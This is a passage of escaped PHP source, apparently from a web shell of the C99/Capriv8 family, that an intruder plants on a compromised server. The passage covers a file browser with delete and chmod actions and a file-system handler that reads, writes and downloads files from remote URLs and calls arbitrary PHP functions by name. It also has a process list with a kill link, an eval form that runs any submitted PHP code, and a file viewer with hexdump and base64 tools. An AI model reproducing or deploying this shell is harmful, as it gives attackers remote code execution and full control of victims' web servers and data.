= array_merge(\$objects[\"head\"],\$objects[\"folders\"],\$objects[\"links\"],\$objects[\"files\"]);\r\n \$tab = array();\r\n \$tab[\"cols\"] = array(\$row);\r\n \$tab[\"head\"] = array();\r\n \$tab[\"folders\"] = array();\r\n \$tab[\"links\"] = array();\r\n \$tab[\"files\"] = array();\r\n \$i = 0;\r\n foreach (\$objects as \$a) {\r\n \$v = \$a[0];\r\n \$o = basename(\$v);\r\n \$dir = dirname(\$v);\r\n if (\$disp_fullpath) {\$disppath = \$v;}\r\n else {\$disppath = \$o;}\r\n \$disppath = str2mini(\$disppath,60);\r\n if (in_array(\$v,\$sess_data[\"cut\"])) {\$disppath = \"<strike>\".\$disppath.\"</strike>\";}\r\n elseif (in_array(\$v,\$sess_data[\"copy\"])) {\$disppath = \"<u>\".\$disppath.\"</u>\";}\r\n foreach (\$regxp_highlight as \$r) {\r\n if (ereg(\$r[0],\$o)) {\r\n if ((!is_numeric(\$r[1])) or (\$r[1] > 3)) {\$r[1] = 0; ob_clean(); echo \"Warning! Configuration error in \\\$regxp_highlight[\".\$k.\"][0] - unknown command.\"; capriv8exit();}\r\n else {\r\n \$r[1] = round(\$r[1]);\r\n \$isdir = is_dir(\$v);\r\n if ((\$r[1] == 0) or ((\$r[1] == 1) and !\$isdir) or ((\$r[1] == 2) and !\$isdir)) {\r\n if (empty(\$r[2])) {\$r[2] = \"<b>\"; \$r[3] = \"</b>\";}\r\n \$disppath = \$r[2].\$disppath.\$r[3];\r\n if (\$r[4]) {break;}\r\n }\r\n }\r\n }\r\n }\r\n \$uo = urlencode(\$o);\r\n \$ud = urlencode(\$dir);\r\n \$uv = urlencode(\$v);\r\n \$row = array();\r\n if (\$o == \".\") {\r\n \$row[] = \"<a href=\\\"\".\$surl.\"x=\".\$dspact.\"&d=\".urlencode(realpath(\$d.\$o)).\"&sort=\".\$sort.\"\\\"><img src=\\\"\".\$surl.\"x=img&img=small_dir\\\" border=\\\"0\\\"> \".\$o.\"</a>\";\r\n \$row[] = \"CURDIR\";\r\n }\r\n elseif (\$o == \"..\") {\r\n \$row[] = \"<a href=\\\"\".\$surl.\"x=\".\$dspact.\"&d=\".urlencode(realpath(\$d.\$o)).\"&sort=\".\$sort.\"\\\"><img src=\\\"\".\$surl.\"x=img&img=ext_lnk\\\" border=\\\"0\\\"> \".\$o.\"</a>\";\r\n \$row[] = \"UPDIR\";\r\n }\r\n elseif (is_dir(\$v)) {\r\n if (is_link(\$v)) {\r\n \$disppath .= \" => \".readlink(\$v);\r\n \$type = \"LINK\";\r\n \$row[] = \"<a href=\\\"\".\$surl.\"x=ls&d=\".\$uv.\"&sort=\".\$sort.\"\\\"><img src=\\\"\".\$surl.\"x=img&img=ext_lnk\\\" border=\\\"0\\\"> [\".\$disppath.\"]</a>\";\r\n }\r\n else {\r\n \$type = \"DIR\";\r\n \$row[] = \"<a href=\\\"\".\$surl.\"x=ls&d=\".\$uv.\"&sort=\".\$sort.\"\\\"><img src=\\\"\".\$surl.\"x=img&img=small_dir\\\" border=\\\"0\\\"> [\".\$disppath.\"]</a>\";\r\n }\r\n \$row[] = \$type;\r\n }\r\n elseif(is_file(\$v)) {\r\n \$ext = explode(\".\",\$o);\r\n \$c = count(\$ext)-1;\r\n \$ext = \$ext[\$c];\r\n \$ext = strtolower(\$ext);\r\n \$row[] = \"<a href=\\\"\".\$surl.\"x=f&f=\".\$uo.\"&d=\".\$ud.\"\\\"><img src=\\\"\".\$surl.\"x=img&img=ext_\".\$ext.\"\\\" border=\\\"0\\\"> \".\$disppath.\"</a>\";\r\n \$row[] = view_size(\$a[1]);\r\n }\r\n \$row[] = date(\"d.m.Y H:i:s\",\$a[2]);\r\n if (!\$win) {\$row[] = \$a[3];}\r\n \$row[] = \"<a href=\\\"\".\$surl.\"x=chmod&f=\".\$uo.\"&d=\".\$ud.\"\\\"><b>\".view_perms_color(\$v).\"</b></a>\";\r\n if (\$o == \".\") {\$checkbox = \"<input type=\\\"checkbox\\\" name=\\\"actbox[]\\\" onclick=\\\"ls_reverse_all();\\\">\"; \$i--;}\r\n else {\$checkbox = \"<input type=\\\"checkbox\\\" name=\\\"actbox[]\\\" id=\\\"actbox\".\$i.\"\\\" value=\\\"\".htmlspecialchars(\$v).\"\\\">\";}\r\n if (is_dir(\$v)) {\$row[] = \"<a href=\\\"\".\$surl.\"x=d&d=\".\$uv.\"\\\"><img src=\\\"\".\$surl.\"x=img&img=ext_diz\\\" alt=\\\"Info\\\" border=\\\"0\\\"></a> \".\$checkbox;}\r\n else {\$row[] = \"<a href=\\\"\".\$surl.\"x=f&f=\".\$uo.\"&ft=info&d=\".\$ud.\"\\\"><img src=\\\"\".\$surl.\"x=img&img=ext_diz\\\" alt=\\\"Info\\\" height=\\\"16\\\" width=\\\"16\\\" border=\\\"0\\\"></a> <a href=\\\"\".\$surl.\"x=f&f=\".\$uo.\"&ft=edit&d=\".\$ud.\"\\\"><img src=\\\"\".\$surl.\"x=img&img=change\\\" alt=\\\"Change\\\" height=\\\"16\\\" width=\\\"19\\\" border=\\\"0\\\"></a> <a href=\\\"\".\$surl.\"x=f&f=\".\$uo.\"&ft=download&d=\".\$ud.\"\\\"><img src=\\\"\".\$surl.\"x=img&img=download\\\" alt=\\\"Download\\\" border=\\\"0\\\"></a> \".\$checkbox;}\r\n if ((\$o == \".\") or (\$o == \"..\")) {\$tab[\"head\"][] = \$row;}\r\n elseif (is_link(\$v)) {\$tab[\"links\"][] = \$row;}\r\n elseif (is_dir(\$v)) {\$tab[\"folders\"][] = \$row;}\r\n elseif (is_file(\$v)) {\$tab[\"files\"][] = \$row;}\r\n \$i++;\r\n }\r\n }\r\n \$table = array_merge(\$tab[\"cols\"],\$tab[\"head\"],\$tab[\"folders\"],\$tab[\"links\"],\$tab[\"files\"]);\r\n echo \"<div class=barheader>-=] \";\r\n if (!empty(\$fx_infohead)) { echo \$fx_infohead; }\r\n else { echo \"Files/Folders (\".count(\$tab[\"files\"]).\" files and \".(count(\$tab[\"folders\"])+count(\$tab[\"links\"])).\" folders)\"; }\r\n echo \" [=-</div>\\n\";\r\n echo \"<form action=\\\"\".\$surl.\"\\\" method=POST name=\\\"ls_form\\\"><input type=hidden name=x value=\\\"\".\$dspact.\"\\\"><input type=hidden name=d value=\".\$d.\">\".\r\n \"<table class=explorer>\";\r\n foreach(\$table as \$row) {\r\n echo \"<tr>\";\r\n foreach(\$row as \$v) {echo \"<td>\".\$v.\"</td>\";}\r\n echo \"</tr>\\r\\n\";\r\n }\r\n echo \"</table>\".\r\n \"<script>\".\r\n \"function ls_setcheckboxall(status) {\".\r\n \" var id = 1; var num = \".(count(\$table)-2).\";\".\r\n \" while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }\".\r\n \"}\".\r\n \"function ls_reverse_all() {\".\r\n \" var id = 1; var num = \".(count(\$table)-2).\";\".\r\n \" while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }\".\r\n \"}\".\r\n \"</script>\".\r\n \"<div align=\\\"right\\\">\".\r\n \"<input type=\\\"button\\\" onclick=\\\"ls_setcheckboxall(true);\\\" value=\\\"Select all\\\"> <input type=\\\"button\\\" onclick=\\\"ls_setcheckboxall(false);\\\" value=\\\"Unselect all\\\">\".\r\n \"<img src=\\\"\".\$surl.\"x=img&img=arrow_ltr\\\" border=\\\"0\\\">\";\r\n if (count(array_merge(\$sess_data[\"copy\"],\$sess_data[\"cut\"])) > 0 and (\$usefsbuff)) {\r\n echo \"<input type=submit name=actarcbuff value=\\\"Pack buffer to archive\\\"> <input type=\\\"text\\\" name=\\\"actarcbuff_path\\\" value=\\\"fx_archive_\".substr(md5(rand(1,1000).rand(1,1000)),0,5).\".tar.gz\\\"> <input type=submit name=\\\"actpastebuff\\\" value=\\\"Paste\\\"> <input type=submit name=\\\"actemptybuff\\\" value=\\\"Empty buffer\\\"> \";\r\n }\r\n echo \"<select name=x><option value=\\\"\".\$x.\"\\\">With selected:</option>\";\r\n echo \"<option value=delete\".(\$dspact == \"delete\"?\" selected\":\"\").\">Delete</option>\";\r\n echo \"<option value=chmod\".(\$dspact == \"chmod\"?\" selected\":\"\").\">Change-mode</option>\";\r\n if (\$usefsbuff) {\r\n echo \"<option value=cut\".(\$dspact == \"cut\"?\" selected\":\"\").\">Cut</option>\";\r\n echo \"<option value=copy\".(\$dspact == \"copy\"?\" selected\":\"\").\">Copy</option>\";\r\n echo \"<option value=unselect\".(\$dspact == \"unselect\"?\" selected\":\"\").\">Unselect</option>\";\r\n }\r\n echo \"</select> <input type=submit value=\\\"Confirm\\\"></div>\";\r\n echo \"</form>\";\r\n }\r\n}\r\nif (\$x == \"tools\") \r\n{\r\n\r\n}\r\nif (\$x == \"phpfsys\") {\r\n echo \"<div align=left>\";\r\n \$fsfunc = \$phpfsysfunc;\r\n if (\$fsfunc==\"copy\") {\r\n if (!copy(\$arg1, \$arg2)) { echo \"Failed to copy \$arg1...\\n\";}\r\n else { echo \"<b>Success!</b> \$arg1 copied to \$arg2\\n\"; }\r\n }\r\n elseif (\$fsfunc==\"rename\") {\r\n if (!rename(\$arg1, \$arg2)) { echo \"Failed to rename/move \$arg1!\\n\";}\r\n else { echo \"<b>Success!</b> \$arg1 renamed/moved to \$arg2\\n\"; }\r\n }\r\n elseif (\$fsfunc==\"chmod\") {\r\n if (!chmod(\$arg1,\$arg2)) { echo \"Failed to chmod \$arg1!\\n\";}\r\n else { echo \"<b>Perm for \$arg1 changed to \$arg2!</b>\\n\"; }\r\n }\r\n elseif (\$fsfunc==\"read\") {\r\n \$hasil = @file_get_contents(\$arg1);\r\n echo \"<b>Filename:</b> \$arg1<br>\";\r\n echo \"<textarea cols=150 rows=20>\";\r\n echo \$hasil;\r\n echo \"</textarea>\\n\";\r\n }\r\n elseif (\$fsfunc==\"write\") {\r\n if(@file_put_contents(\$d.\$arg1,\$arg2)) {\r\n echo \"<b>Saved!</b> \".\$d.\$arg1;\r\n }\r\n else { echo \"<div class=fxerrmsg>Couldn't write to \$arg1!</div>\"; }\r\n }\r\n elseif (\$fsfunc==\"downloadbin\") {\r\n \$handle = fopen(\$arg1, \"rb\");\r\n \$contents = '';\r\n while (!feof(\$handle)) {\r\n \$contents .= fread(\$handle, 8192);\r\n }\r\n \$r = @fopen(\$d.\$arg2,'w');\r\n if (fwrite(\$r,\$contents)) { echo \"<b>Success!</b> \$arg1 saved to \".\$d.\$arg2.\" (\".view_size(filesize(\$d.\$arg2)).\")\"; }\r\n else { echo \"<div class=fxerrmsg>Couldn't write to \".\$d.\$arg2.\"!</div>\"; }\r\n fclose(\$r);\r\n fclose(\$handle);\r\n }\r\n elseif (\$fsfunc==\"download\") {\r\n \$text = implode('', file(\$arg1));\r\n if (\$text) {\r\n \$r = @fopen(\$d.\$arg2,'w');\r\n if (fwrite(\$r,\$text)) { echo \"<b>Success!</b> \$arg1 saved to \".\$d.\$arg2.\" (\".view_size(filesize(\$d.\$arg2)).\")\"; }\r\n else { echo \"<div class=fxerrmsg>Couldn't write to \".\$d.\$arg2.\"!</div>\"; }\r\n fclose(\$r);\r\n }\r\n else { echo \"<div class=fxerrmsg>Couldn't download from \$arg1!</div>\";}\r\n }\r\n elseif (\$fsfunc=='mkdir') {\r\n \$thedir = \$d.\$arg1;\r\n if (\$thedir != \$d) {\r\n if (file_exists(\$thedir)) { echo \"<b>Already exists:</b> \".htmlspecialchars(\$thedir); }\r\n elseif (!mkdir(\$thedir)) { echo \"<b>Access denied:</b> \".htmlspecialchars(\$thedir); }\r\n else { echo \"<b>Dir created:</b> \".htmlspecialchars(\$thedir);}\r\n\r\n }\r\n else { echo \"Couldn't create current dir:<b> \$thedir</b>\"; }\r\n }\r\n elseif (\$fsfunc=='fwritabledir') {\r\n function recurse_dir(\$dir,\$max_dir) {\r\n global \$dir_count;\r\n \$dir_count++;\r\n if( \$cdir = @dir(\$dir) ) {\r\n while( \$entry = \$cdir-> read() ) {\r\n if( \$entry != '.' && \$entry != '..' ) {\r\n if(is_dir(\$dir.\$entry) && is_writable(\$dir.\$entry) ) {\r\n if (\$dir_count > \$max_dir) { return; }\r\n echo \"[\".\$dir_count.\"] \".\$dir.\$entry.\"\\n\";\r\n recurse_dir(\$dir.\$entry.DIRECTORY_SEPARATOR,\$max_dir);\r\n }\r\n }\r\n }\r\n \$cdir->close();\r\n }\r\n }\r\n if (!\$arg1) { \$arg1 = \$d; }\r\n if (!\$arg2) { \$arg2 = 10; }\r\n echo \"<b>Writable directories (Max: \$arg2) in:</b> \$arg1<br>\";\r\n echo \"<pre>\";\r\n recurse_dir(\$arg1,\$arg2);\r\n echo \"</pre>\";\r\n \$total = \$dir_count - 1;\r\n echo \"<b>Founds:</b> \".\$total.\" of <b>Max</b> \$arg2\";\r\n }\r\n else {\r\n if (!\$arg1) { echo \"<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>\\n\"; }\r\n else {\r\n if (\$hasil = \$fsfunc(\$arg1)) {\r\n echo \"<b>Result of \$fsfunc \$arg1:</b><br>\";\r\n if (!is_array(\$hasil)) { echo \"\$hasil\\n\"; }\r\n else {\r\n echo \"<pre>\";\r\n foreach (\$hasil as \$v) { echo \$v.\"\\n\"; }\r\n echo \"</pre>\";\r\n }\r\n }\r\n else { echo \"<div class=fxerrmsg>\$fsfunc \$arg1 failed!</div>\\n\"; }\r\n }\r\n }\r\n echo \"</div>\\n\";\r\n}\r\nif (\$x == \"processes\") {\r\n echo \"<div class=barheader>.: Processes :.</div>\";\r\n if (!\$win) { \$handler = \"ps -aux\".(\$grep?\" | grep '\".addslashes(\$grep).\"'\":\"\"); }\r\n else { \$handler = \"tasklist\"; }\r\n \$ret = myshellexec(\$handler);\r\n if (!\$ret) { echo \"Can't execute \\\"\".\$handler.\"\\\"!\"; }\r\n else {\r\n if (empty(\$processes_sort)) {\$processes_sort = \$sort_default;}\r\n \$parsesort = parsesort(\$processes_sort);\r\n if (!is_numeric(\$parsesort[0])) {\$parsesort[0] = 0;}\r\n \$k = \$parsesort[0];\r\n if (\$parsesort[1] != \"a\") {\r\n \$y = \"<a href=\\\"\".\$surl.\"x=\".\$dspact.\"&d=\".urlencode(\$d).\"&processes_sort=\".\$k.\"a\\\"><img src=\\\"\".\$surl.\"x=img&img=sort_desc\\\" border=\\\"0\\\"></a>\";\r\n }\r\n else {\r\n \$y = \"<a href=\\\"\".\$surl.\"x=\".\$dspact.\"&d=\".urlencode(\$d).\"&processes_sort=\".\$k.\"d\\\"><img src=\\\"\".\$surl.\"x=img&img=sort_asc\\\" height=\\\"9\\\" width=\\\"14\\\" border=\\\"0\\\"></a>\";\r\n }\r\n \$ret = htmlspecialchars(\$ret);\r\n if (!\$win) {\r\n if (\$pid) {\r\n if (is_null(\$sig)) {\$sig = 9;}\r\n echo \"Sending signal \".\$sig.\" to #\".\$pid.\"... \";\r\n if (posix_kill(\$pid,\$sig)) {echo \"OK.\";}\r\n else {echo \"ERROR.\";}\r\n }\r\n while (ereg(\" \",\$ret)) {\$ret = str_replace(\" \",\" \",\$ret);}\r\n \$stack = explode(\"\\n\",\$ret);\r\n \$head = explode(\" \",\$stack[0]);\r\n unset(\$stack[0]);\r\n for(\$i=0;\$i<count(\$head);\$i++) {\r\n if (\$i != \$k) {\$head[\$i] = \"<a href=\\\"\".\$surl.\"x=\".\$dspact.\"&d=\".urlencode(\$d).\"&processes_sort=\".\$i.\$parsesort[1].\"\\\"><b>\".\$head[\$i].\"</b></a>\";}\r\n }\r\n \$prcs = array();\r\n foreach (\$stack as \$line) {\r\n if (!empty(\$line)) {\r\n echo \"<tr>\";\r\n \$line = explode(\" \",\$line);\r\n \$line[10] = join(\" \",array_slice(\$line,10));\r\n \$line = array_slice(\$line,0,11);\r\n if (\$line[0] == get_current_user()) {\$line[0] = \"<font color=green>\".\$line[0].\"</font>\";}\r\n \$line[] = \"<a href=\\\"\".\$surl.\"x=processes&d=\".urlencode(\$d).\"&pid=\".\$line[1].\"&sig=9\\\"><u>KILL</u></a>\";\r\n \$prcs[] = \$line;\r\n echo \"</tr>\";\r\n }\r\n }\r\n }\r\n else {\r\n while (ereg(\" \",\$ret)) {\$ret = str_replace(\" \",\" \",\$ret);}\r\n while (ereg(\"=\",\$ret)) {\$ret = str_replace(\"=\",\"\",\$ret);}\r\n \$ret = convert_cyr_string(\$ret,\"d\",\"w\");\r\n \$stack = explode(\"\\n\",\$ret);\r\n unset(\$stack[0],\$stack[2]);\r\n \$stack = array_values(\$stack);\r\n \$stack[0]=str_replace(\"Image Name\",\"ImageName\",\$stack[0]);\r\n \$stack[0]=str_replace(\"Session Name\",\"SessionName\",\$stack[0]);\r\n \$stack[0]=str_replace(\"Mem Usage\",\"MemoryUsage\",\$stack[0]);\r\n \$head = explode(\" \",\$stack[0]);\r\n \$stack = array_slice(\$stack,1);\r\n \$head = array_values(\$head);\r\n if (\$parsesort[1] != \"a\") { \$y = \"<a href=\\\"\".\$surl.\"x=\".\$dspact.\"&d=\".urlencode(\$d).\"&processes_sort=\".\$k.\"a\\\"><img src=\\\"\".\$surl.\"x=img&img=sort_desc\\\" border=\\\"0\\\"></a>\"; }\r\n else { \$y = \"<a href=\\\"\".\$surl.\"x=\".\$dspact.\"&d=\".urlencode(\$d).\"&processes_sort=\".\$k.\"d\\\"><img src=\\\"\".\$surl.\"x=img&img=sort_asc\\\" border=\\\"0\\\"></a>\"; }\r\n if (\$k > count(\$head)) {\$k = count(\$head)-1;}\r\n for(\$i=0;\$i<count(\$head);\$i++) {\r\n if (\$i != \$k) { \$head[\$i] = \"<a href=\\\"\".\$surl.\"x=\".\$dspact.\"&d=\".urlencode(\$d).\"&processes_sort=\".\$i.\$parsesort[1].\"\\\"><b>\".trim(\$head[\$i]).\"</b></a>\"; }\r\n }\r\n \$prcs = array();\r\n unset(\$stack[0]);\r\n foreach (\$stack as \$line) {\r\n if (!empty(\$line)) {\r\n \$line = explode(\" \",\$line);\r\n \$line[4] = str_replace(\".\",\"\",\$line[4]);\r\n \$line[4] = intval(\$line[4]) * 1024;\r\n unset(\$line[5]);\r\n \$prcs[] = \$line;\r\n }\r\n }\r\n }\r\n \$head[\$k] = \"<b>\".\$head[\$k].\"</b>\".\$y;\r\n \$v = \$processes_sort[0];\r\n usort(\$prcs,\"tabsort\");\r\n if (\$processes_sort[1] == \"d\") {\$prcs = array_reverse(\$prcs);}\r\n \$tab = array();\r\n \$tab[] = \$head;\r\n \$tab = array_merge(\$tab,\$prcs);\r\n echo \"<table class=explorer>\";\r\n foreach(\$tab as \$i=>\$k) {\r\n echo \"<tr>\";\r\n foreach(\$k as \$j=>\$v) {\r\n if (\$win and \$i > 0 and \$j == 4) {\$v = view_size(\$v);}\r\n echo \"<td>\".\$v.\"</td>\";\r\n }\r\n echo \"</tr>\";\r\n }\r\n echo \"</table>\";\r\n }\r\n}\r\nif (\$x == \"eval\") {\r\n if (!empty(\$eval)) {\r\n echo \"Result of execution this PHP-code:<br>\";\r\n \$tmp = ob_get_contents();\r\n \$olddir = realpath(\".\");\r\n @chdir(\$d);\r\n if (\$tmp) {\r\n ob_clean();\r\n eval(\$eval);\r\n \$ret = ob_get_contents();\r\n \$ret = convert_cyr_string(\$ret,\"d\",\"w\");\r\n ob_clean();\r\n echo \$tmp;\r\n if (\$eval_txt) {\r\n \$rows = count(explode(\"\\r\\n\",\$ret))+1;\r\n if (\$rows < 10) {\$rows = 10;}\r\n echo \"<br><textarea cols=\\\"122\\\" rows=\\\"\".\$rows.\"\\\" readonly>\".htmlspecialchars(\$ret).\"</textarea>\";\r\n }\r\n else {echo \$ret.\"<br>\";}\r\n }\r\n else {\r\n if (\$eval_txt) {\r\n echo \"<br><textarea cols=\\\"122\\\" rows=\\\"15\\\" readonly>\";\r\n eval(\$eval);\r\n echo \"</textarea>\";\r\n }\r\n else {echo \$ret;}\r\n }\r\n @chdir(\$olddir);\r\n }\r\n else {echo \"<b>PHP-code Execution (Use without PHP Braces!)</b>\"; if (empty(\$eval_txt)) {\$eval_txt = TRUE;}}\r\n echo \"<form action=\\\"\".\$surl.\"\\\" method=POST><input type=hidden name=x value=eval><textarea name=\\\"eval\\\" cols=\\\"122\\\" rows=\\\"10\\\">\".htmlspecialchars(\$eval).\"</textarea><input type=hidden name=\\\"d\\\" value=\\\"\".\$dispd.\"\\\"><br><br><input type=submit value=\\\"Execute\\\"> Display in text-area <input type=\\\"checkbox\\\" name=\\\"eval_txt\\\" value=\\\"1\\\"\"; if (\$eval_txt) {echo \" checked\";} echo \"></form>\";\r\n}\r\nif (\$x == \"f\") {\r\n echo \"<div align=left>\";\r\n if ((!is_readable(\$d.\$f) or is_dir(\$d.\$f)) and \$ft != \"edit\") {\r\n if (file_exists(\$d.\$f)) {echo \"<center><b>Permision denied (\".htmlspecialchars(\$d.\$f).\")!</b></center>\";}\r\n else {echo \"<center><b>File does not exists (\".htmlspecialchars(\$d.\$f).\")!</b><br><a href=\\\"\".\$surl.\"x=f&f=\".urlencode(\$f).\"&ft=edit&d=\".urlencode(\$d).\"&c=1\\\"><u>Create</u></a></center>\";}\r\n }\r\n else {\r\n \$r = @file_get_contents(\$d.\$f);\r\n \$ext = explode(\".\",\$f);\r\n \$c = count(\$ext)-1;\r\n \$ext = \$ext[\$c];\r\n \$ext = strtolower(\$ext);\r\n \$rft = \"\";\r\n foreach(\$ftypes as \$k=>\$v) {if (in_array(\$ext,\$v)) {\$rft = \$k; break;}}\r\n if (eregi(\"sess_(.*)\",\$f)) {\$rft = \"phpsess\";}\r\n if (empty(\$ft)) {\$ft = \$rft;}\r\n \$arr = array(\r\n array(\"<img src=\\\"\".\$surl.\"x=img&img=ext_diz\\\" border=\\\"0\\\">\",\"info\"),\r\n array(\"<img src=\\\"\".\$surl.\"x=img&img=ext_html\\\" border=\\\"0\\\">\",\"html\"),\r\n array(\"<img src=\\\"\".\$surl.\"x=img&img=ext_txt\\\" border=\\\"0\\\">\",\"txt\"),\r\n array(\"Code\",\"code\"),\r\n array(\"Session\",\"phpsess\"),\r\n array(\"<img src=\\\"\".\$surl.\"x=img&img=ext_exe\\\" border=\\\"0\\\">\",\"exe\"),\r\n array(\"SDB\",\"sdb\"),\r\n array(\"<img src=\\\"\".\$surl.\"x=img&img=ext_gif\\\" border=\\\"0\\\">\",\"img\"),\r\n array(\"<img src=\\\"\".\$surl.\"x=img&img=ext_ini\\\" border=\\\"0\\\">\",\"ini\"),\r\n array(\"<img src=\\\"\".\$surl.\"x=img&img=download\\\" border=\\\"0\\\">\",\"download\"),\r\n array(\"<img src=\\\"\".\$surl.\"x=img&img=ext_rtf\\\" border=\\\"0\\\">\",\"notepad\"),\r\n array(\"<img src=\\\"\".\$surl.\"x=img&img=change\\\" border=\\\"0\\\">\",\"edit\")\r\n );\r\n echo \"<b>Viewing file: <img src=\\\"\".\$surl.\"x=img&img=ext_\".\$ext.\"\\\" border=\\\"0\\\"> \".\$f.\" (\".view_size(filesize(\$d.\$f)).\") \".view_perms_color(\$d.\$f).\"</b><br>Select action/file-type:<br>\";\r\n foreach(\$arr as \$t) {\r\n if (\$t[1] == \$rft) {echo \" <a href=\\\"\".\$surl.\"x=f&f=\".urlencode(\$f).\"&ft=\".\$t[1].\"&d=\".urlencode(\$d).\"\\\"><font color=green>\".\$t[0].\"</font></a>\";}\r\n elseif (\$t[1] == \$ft) {echo \" <a href=\\\"\".\$surl.\"x=f&f=\".urlencode(\$f).\"&ft=\".\$t[1].\"&d=\".urlencode(\$d).\"\\\"><b><u>\".\$t[0].\"</u></b></a>\";}\r\n else {echo \" <a href=\\\"\".\$surl.\"x=f&f=\".urlencode(\$f).\"&ft=\".\$t[1].\"&d=\".urlencode(\$d).\"\\\"><b>\".\$t[0].\"</b></a>\";}\r\n echo \" (<a href=\\\"\".\$surl.\"x=f&f=\".urlencode(\$f).\"&ft=\".\$t[1].\"&white=1&d=\".urlencode(\$d).\"\\\" target=\\\"_blank\\\">+</a>) |\";\r\n }\r\n echo \"<hr size=\\\"1\\\" noshade>\";\r\n if (\$ft == \"info\") {\r\n echo \"<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> \".\$d.\$f.\"</td></tr><tr><td><b>Size</b></td><td> \".view_size(filesize(\$d.\$f)).\"</td></tr><tr><td><b>MD5</b></td><td> \".md5_file(\$d.\$f).\"</td></tr>\";\r\n if (!\$win) {\r\n echo \"<tr><td><b>Owner/Group</b></td><td> \";\r\n \$ow = posix_getpwuid(fileowner(\$d.\$f));\r\n \$gr = posix_getgrgid(filegroup(\$d.\$f));\r\n echo (\$ow[\"name\"]?\$ow[\"name\"]:fileowner(\$d.\$f)).\"/\".(\$gr[\"name\"]?\$gr[\"name\"]:filegroup(\$d.\$f));\r\n }\r\n echo \"<tr><td><b>Perms</b></td><td><a href=\\\"\".\$surl.\"x=chmod&f=\".urlencode(\$f).\"&d=\".urlencode(\$d).\"\\\">\".view_perms_color(\$d.\$f).\"</a></td></tr><tr><td><b>Create time</b></td><td> \".date(\"d/m/Y H:i:s\",filectime(\$d.\$f)).\"</td></tr><tr><td><b>Access time</b></td><td> \".date(\"d/m/Y H:i:s\",fileatime(\$d.\$f)).\"</td></tr><tr><td><b>MODIFY time</b></td><td> \".date(\"d/m/Y H:i:s\",filemtime(\$d.\$f)).\"</td></tr></table>\";\r\n \$fi = fopen(\$d.\$f,\"rb\");\r\n if (\$fi) {\r\n if (\$fullhexdump) {echo \"<b>FULL HEXDUMP</b>\"; \$str = fread(\$fi,filesize(\$d.\$f));}\r\n else {echo \"<b>HEXDUMP PREVIEW</b>\"; \$str = fread(\$fi,\$hexdump_lines*\$hexdump_rows);}\r\n \$n = 0;\r\n \$a0 = \"00000000<br>\";\r\n \$a1 = \"\";\r\n \$a2 = \"\";\r\n for (\$i=0; \$i<strlen(\$str); \$i++) {\r\n \$a1 .= sprintf(\"%02X\",ord(\$str[\$i])).\" \";\r\n switch (ord(\$str[\$i])) {\r\n case 0: \$a2 .= \"<font>0</font>\"; break;\r\n case 32:\r\n case 10:\r\n case 13: \$a2 .= \" \"; break;\r\n default: \$a2 .= htmlspecialchars(\$str[\$i]);\r\n }\r\n \$n++;\r\n if (\$n == \$hexdump_rows) {\r\n \$n = 0;\r\n if (\$i+1 < strlen(\$str)) {\$a0 .= sprintf(\"%08X\",\$i+1).\"<br>\";}\r\n \$a1 .= \"<br>\";\r\n \$a2 .= \"<br>\";\r\n }\r\n }\r\n echo \"<table border=1 bgcolor=#666666>\".\r\n \"<tr><td bgcolor=#666666>\".\$a0.\"</td>\".\r\n \"<td bgcolor=#000000>\".\$a1.\"</td>\".\r\n \"<td bgcolor=#000000>\".\$a2.\"</td>\".\r\n \"</tr></table><br>\";\r\n }\r\n \$encoded = \"\";\r\n if (\$base64 == 1) {\r\n echo \"<b>Base64 Encode</b><br>\";\r\n \$encoded = base64_encode(file_get_contents(\$d.\$f));\r\n }\r\n elseif(\$base64 == 2) {\r\n echo \"<b>Base64 Encode + Chunk</b><br>\";\r\n \$encoded = chunk_split(base64_encode(file_get_contents(\$d.\$f)));\r\n }\r\n elseif(\$base64 == 3) {\r\n echo \"<b>Base64 Encode + Chunk + Quotes</b><br>\";\r\n \$encoded = base64_encode(file_get_contents(\$d.\$f));\r\n \$encoded = substr(preg_replace(\"!.{1,76}!\",\"'\\\\0'.\\n\",\$encoded),0,-2);\r\n }\r\n elseif(\$base64 == 4) {\r\n \$text = file_get_contents(\$d.\$f);\r\n \$encoded = base64_decode(\$text);\r\n echo \"<b>Base64 Decode\";\r\n if (base64_encode(\$encoded) != \$text) {echo \" (failed)\";}\r\n echo \"</b><br>\";\r\n }\r\n if (!empty(\$encoded))\r\n {\r\n echo \"<textarea cols=80 rows=10>\".htmlspecialchars(\$encoded).\"</textarea><br><br>\";\r\n }\r\n echo \"<b>HEXDUMP:</b><nobr> [<a href=\\\"\".\$surl.\"x=f&f=\".urlencode(\$f).\"&ft=info&fullhexdump=1&d=\".urlencode(\$d).\"\\\">Full</a>] [<a href=\\\"\".\$surl.\"x=f&f=\".urlencode(\$f).\"&ft=info&d=\".urlencode(\$d).\"\\\">Preview</a>]<br><b>Base64: </b>\r\n\r\n <nobr>[<a href=\\\"\".\$surl.\"x=f&f=\".urlencode(\$f).\"&ft=info&base64=1&d=\".urlencode(\$d).\"\\\">Encode</a>] </nobr>\r\n <nobr>[<a href=\\\"\".\$surl.\"x=f&f=\".urlencode(\$f).\"&ft=info&base64=2&d=\".urlencode(\$d).\"\\\">+chunk</a>] </nobr>\r\n <nobr>[<a href=\\\"\".\$surl.\"x=f&f=\".urlencode(\$f).\"&ft=info&base64=3&d=\".urlencode(\$d).\"\\\">+chunk+quotes</a>] </nobr>\r\n <nobr>[<a href=\\\"\".\$surl.\"x=f&f=\".urlencode(\$f).\"&ft=info&base64=4&d=\".urlencode(\$d).\"\\\">Decode</a>] </nobr>\r\n\r\n <P>\";\r\n }\r\n elseif (\$ft == \"html\") {\r\n if (\$white) {@ob_clean();}\r\n echo \$r;\r\n if (\$white) {capriv8exit();}\r\n }\r\n elseif (\$ft == \"txt\") {echo \"<pre>\".htmlspecialchars(\$r).\"</pre>\";}\r\n elseif (\$ft == \"ini\") {echo \"<pre>\"; var_dump(parse_ini_file(\$d.\$f,TRUE)); echo \"</pre>\";}\r\n elseif (\$ft == \"phpsess\") {\r\n echo \"<pre>\";\r\n \$v = explode(\"|\",\$r);\r\n echo \$v[0].\"<br>\";\r\n var_dump(unserialize(\$v[1]));\r\n echo \"</pre>\";\r\n }\r\n elseif (\$ft == \"exe\") {\r\n \$ext = explode(\".\",\$f);\r\n \$c = count(\$ext)-1;\r\n \$ext = \$ext[\$c];\r\n \$ext = 